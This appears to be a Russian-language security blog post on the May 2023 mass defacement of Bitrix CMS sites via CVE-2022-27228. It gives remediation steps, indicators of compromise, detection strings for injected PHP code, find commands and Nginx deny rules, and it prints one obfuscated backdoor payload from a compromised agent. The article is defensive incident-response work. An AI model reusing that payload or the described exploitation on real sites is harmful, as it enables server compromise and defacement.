26 мая 2023 года произошёл массовый дефейс веб-серверов национального сегмента сети интернет .РФ. В качестве цели атаки выступила CMS «Битрикс».
В ходе расследования выяснилось, что атака подготовлена заранее. Подготовка велась с 2022 года через известные уязвимости, включая CVE-2022-27228. Техническое описание см. на форуме разработчиков. Возможно, это самая крупная атака против национального сегмента .РФ в его истории.
Компания CyberOK выпустила отчёт c описанием атаки и разъяснением необходимых действий для того, чтобы удалить с сервера бэкдор, устранить уязвимости «Битрикса» и восстановить приложение. Также приведены рекомендации по защите веб-приложения.
Ещё в июле 2022 года Национальный координационный центр по компьютерным инцидентам (НКЦКИ) предупредил об угрозе заражения сайтов под управлением «Битрикс» через 0day-уязвимость CVE-2022-27228, известную с 3 марта 2022 года.
11 марта 2022 года разработчик оперативно исправил уязвимость и обновил модуль
vote
до версии 21.0.100, а саму CMS до версии 22.0.400.К сожалению, некоторые системные администраторы не получили эту информацию или проигнорировали её.
▍ Эксплуатация уязвимости
Уязвимость в модуле
vote
«Битрикс» позволяет удалённому злоумышленнику записать произвольные файлы на сервер посредством отправки специально сформированных сетевых пакетов.Согласно описанию НКЦКИ за март 2022 года, в дальнейшем злоумышленник использовал эти файлы для заражения клиентских браузеров, то есть посетителей сайта.
- После эксплуатации уязвимости злоумышленник загружает на веб-сайт модифицированный файл (
/bitrix/modules/main/include/prolog.php
), в который добавляется строка (https://techmestore[.]pw/jqueryui.js
), вызывающая сторонний JS-скриптjquery-ui.js
.
- При посещении заражённого веб-сайта под управлением «Битрикс» в кэш браузера пользователя внедряется JS-скрипт, который загружается из различных директорий веб-сайта, к примеру:
bitrix/js/main/core/core.js?1656612291497726
bitrix/js/main/core/core.js?1656598434497824
bitrix/templates/cm_main/js/jquery-1.10.2.min.js
Злоумышленник мог использовать как один вектор заражения, так и оба сразу.
Сейчас такой эксплуатации уязвимости мы не наблюдали. В отличие от предыдущих атак, в мае 2023 года уязвимость использовалась не для перенаправления пользователей на сторонние сайты, а для дефейса и установки бэкдора (см. ниже).
В 2023 году, кроме модуля
vote
, злоумышленники использовали ещё и служебный модуль fileman
, реализующий возможность визуального HTML-редактора. В составе этого модуля присутствует уязвимый скрипт html_editor_action.php
. Эксплуатация уязвимости этого файла аналогично CVE-2022-27228 позволяет неавторизованному злоумышленнику удалённо выполнять произвольный код на целевой системе.В результате успешной эксплуатации этой уязвимости в логе появится
строка с успешным POST-запросом к файлу
/bitrix/tools/html_editor_action.php
вроде такой:***POST /bitrix/tools/html_editor_action.php HTTP/1.0" 200 ***
▍ Описание атаки 2023 года
Основные действия после взлома:
- заменяется index.php в корневой директории веб-приложения;
- встраивание вредоносного кода в PHP-скрипты модулей;
- удаляется файл
/bitrix/.settings.php
;
- создаются скрипты Агентов с вредоносным кодом или модифицируются
существующие скрипты;
- удаляют данные из таблиц базы данных
b_iblock
,b_iblock_element
,b_iblock_element_property
;
- создание файлов
.htaccess
во всех каталогах веб-приложения;
- создание PHP-скриптов в директории
/bitrix/admin/
с произвольными именами файлов.
▍ Необходимые действия после заражения
Согласно рекомендациям НКЦКИ, после заражения необходимо совершить следующие действия:
- Провести обновление «Битрикс» до актуальной версии, как минимум 22.0.400.
- Проверить веб-сайт на наличие вредоносного JS-кода. Например, можно установить из каталога готовых решений «1С-Битрикс: Поиск троянов» и запустить сканирование. Для этого необходимо открыть панель управления сайта и перейти на следующую вкладку:
Настройки
→bitrix.xscan
→Поиск и Поиск (бета)
Модуль отсканирует весь сайт и отобразит выявленные подозрительные файлы.
По факту нынешней атаки выявлены следующие индикаторы компрометации:
Рекомендуется обратить внимание на файлы со случайно сгенерированным именем из набора символов [a-z, 0-9] в каталогеИмя файла Директория Пример команды для поиска xmlrpcs.php Используются различные
каталогиfind ./ -name xmlrpcs.php inputs.php Используются различные
каталогиfind ./ -name inputs.php
рекомендуется исключить из поиска легитимный файл:
/bitrix/modules/sale/lib/delivery/inputs.phpl.php /bitrix/src/app/ find ./ -name l.php /bitrix/tools/spread.php /bitrix/tools/
/bitrix/access.php
wp.php
term.php
locale.php
themes.php
network.php
container.php
router.php
wp-login.php/bitrix/modules/iblock/lib/biz
proctype/любой из файлов в указанной директории /bitrix/tools/send_trait_imap.p
hp/bitrix/tools/.cas.php
/bitrix/tools/.cas.tmp.php/bitrix/admin/
и в корневой директории сайта.
Были выявлены файлы вида:
/bitrix/admin/f408f2b7df70.php
/bitrix/admin/8f1c222aae51.php
/2469a41bac71.php
/98826/bfd99.php
При обнаружении вредоносного кода следует провести мероприятия по его удалению, а также проверить систему на компрометацию.
- Проверить наличие фактов нелегитимной модификации файлов, посредством команды, которая осуществляет поиск и сортирует изменённые и новые файлы за последние 30 дней, кроме последнего дня:
find /home/Путь к вашей папке Bitrix/public_html -type f -mtime -30 ! -mtime -1 -printf '%TY-%Tm-%Td %TT %p\n' | sort -r
Например, если проверить файл
bitrix/modules/fileman/admin/fileman_html_editor_action.php
, то мы увидим следующее:«Плохой» код
«Хороший» код
Кроме создания новых файлов, злоумышленники могут встраивать вредоносный код в существующие файлы. Его можно найти по следующим фрагментам строки:
str_rot13
md5($_COOKIE
bitrixxx
eval(base64_decode
BX_STAT
BX_TOKEN
parse_str(hex2bin
iasfgjlzcb
QlhfVE9LRU4=
gzinflate(base64_decode
C.A.S
urldecode(base64_decode(hex2bin
Из результатов поиска по
str_rot13
необходимо исключить следующие файлы:/bitrix/modules/main/classes/general/vuln_scanner.php
/bitrix/modules/main/lib/search/content.php
bitrix/modules/socialnetwork/lib/item/logindex.php
На странице со списком Агентов «1С-Битрикс» (
/bitrix/admin/agent_list.php
) можно проверить вызываемые функции на наличие вредоносного кода. Для этого открываем панель управления сайта и переходим на вкладку Настройки
→ Настройки продукта
→ Агенты
.Название агента может быть любым, но обычно он виден визуально, как на КДПВ:
После восстановления сайта или БД из резервной копии рекомендации следующие:
- ограничить административные доступы к CMS, а также, в случае наличия, FTP, MySQL.
- проверить функции, вызываемые функциями-агентами (
/bitrix/admin/agent_list.php
), на наличие вредоносного кода. Пример модификации агента:
$arAgent["NAME"];eval(urldecode(strrev('b3%92%92%22%73%b6%34%a5%b6%76%34%26%86%a5%85%a5%73%b6%96%d4%03%43%65%b4%46%c6%74%a4%26%e4%74%a4%f6%15%d6%36%67%86%96%36%f6%e4%75%05%57%15%74%a4%07%37%97%b4%07%25%97%f4%07%d4%74%a4%f6%43%75%a5%37%a4%84%46%a7%87%45%16%b6%37%44%d4%93%b6%74%a4%f6%94%33%26%d6%47%44%45%d4%65%c6%45%07%36%d6%26%07%a4%84%46%a7%86%35%05%b6%25%97%f4%07%03%c6%94%d6%24%a7%d4%23%95%75%a5%43%d4%d6%d4%d6%65%44%f4%97%55%d6%95%c6%65%74%f4%97%15%75%e4%23%55%d6%d4%53%15%44%a5%43%d4%74%a5%a6%e4%d6%94%26%65%55%35%c4%93%03%45%44%93%64%a4%f6%55%74%a5%67%e4%75%a5%b6%93%64%e4%23%55%23%36%86%a4%75%05%a6%25%97%f4%07%14%44%b4%e6%53%75%16%03%a4%33%26%77%65%d6%36%66%a4%33%26%97%a4%85%a5%76%14%84%16%77%93%44%05%22%82%56%46%f6%36%56%46%f5%43%63%56%37%16%26%02%c2%22%07%86%07%e2%f6%c6%96%57%86%f5%e6%96%47%57%07%f2%37%c6%f6%f6%47%f2%87%96%27%47%96%26%f2%22%e2%d5%22%45%f4%f4%25%f5%45%e4%54%d4%55%34%f4%44%22%b5%25%54%65%25%54%35%f5%42%82%37%47%e6%56%47%e6%f6%36%f5%47%57%07%f5%56%c6%96%66%')));
Рекомендации по защите веб-сайтов:
- перевести работу сайта на актуальную версию PHP 8.
- обновлять CMS Bitrix до актуальных версий.
- включить проактивную защиту CMS Bitrix: проактивный фильтр (
https://dev.1cbitrix.ru/user_help/settings/security/security_filter.php
) и контроль активности (https://dev.1cbitrix.ru/user_help/settings/security/security_stat_activity.php
).
- проверить сайт инструментом CMS Bitrix «Сканер безопасности»
(/bitrix/admin/security_scanner.php
).
- закрыть доступ к файлам на уровне сервера (например, в .htaccess)
/bitrix/tools/upload.php
/bitrix/tools/mail_entry.php
/bitrix/modules/main/include/virtual_file_system.php
/bitrix/components/bitrix/sender.mail.editor/ajax.php
/bitrix/tools/vote/uf.php
/bitrix/tools/html_editor_action.php
/bitrix/admin/site_checker.php
- Добавить в конфигурацию веб-сервера запрещающие правила. Пример правил для Nginx:
location /bitrix/tools/vote/uf.php { if ($request_method = POST ) { deny all; } } location /bitrix/tools/html_editor_action.php { if ($request_method = POST ) { deny all; } }
▍ IOC
otrasoper[.]ga/help/?23211651614614
techmestore[.]pw
unasinob[.]cf
core.js?1656612291497726 — d74272539fc1c34fa5db80a168269d319d8c541bb36cbf0e99233cbe7ab9474d
core.js?1656598434497824 — da9c874d43fc94af70bc9895b8154a11aab1118a4b5aefde4c6cee59f617707e
jquery-1.10.2.min.js — 0ba081f546084bd5097aa8a73c75931d5aa1fc4d6e846e53c21f98e6a1509988
Примечание. В некоторых случаях сайт может быть заблокирован НКЦКИ по причине размещения противоправного контента на взломанном сайте, а также из-за его использования злоумышленниками для проведения компьютерных атак на критическую инфраструктуру в соответствии со статьёй 5 Федерального закона № 187-ФЗ «О безопасности критической информационной инфраструктуры РФ», пунктом 5.1 Приказа ФСБ России от 24.07.2018 г. № 366 и пунктом 9 Правил централизованного управления сетью связи общего пользования, утверждённых постановлением Правительства Российской Федерации от 12 февраля 2020 года
№ 127.
После дефейса на сайте появляется текст, который может привести к блокировке со стороны НКЦКИ по причине размещения противоправного контента
Блокировка применяется до момента фиксации НКЦКИ факта удаления противоправного контента.
В этом случае после удаления бэкдора и устранения уязвимостей необходимо связаться с командой Национального координационного центра по компьютерным инцидентам.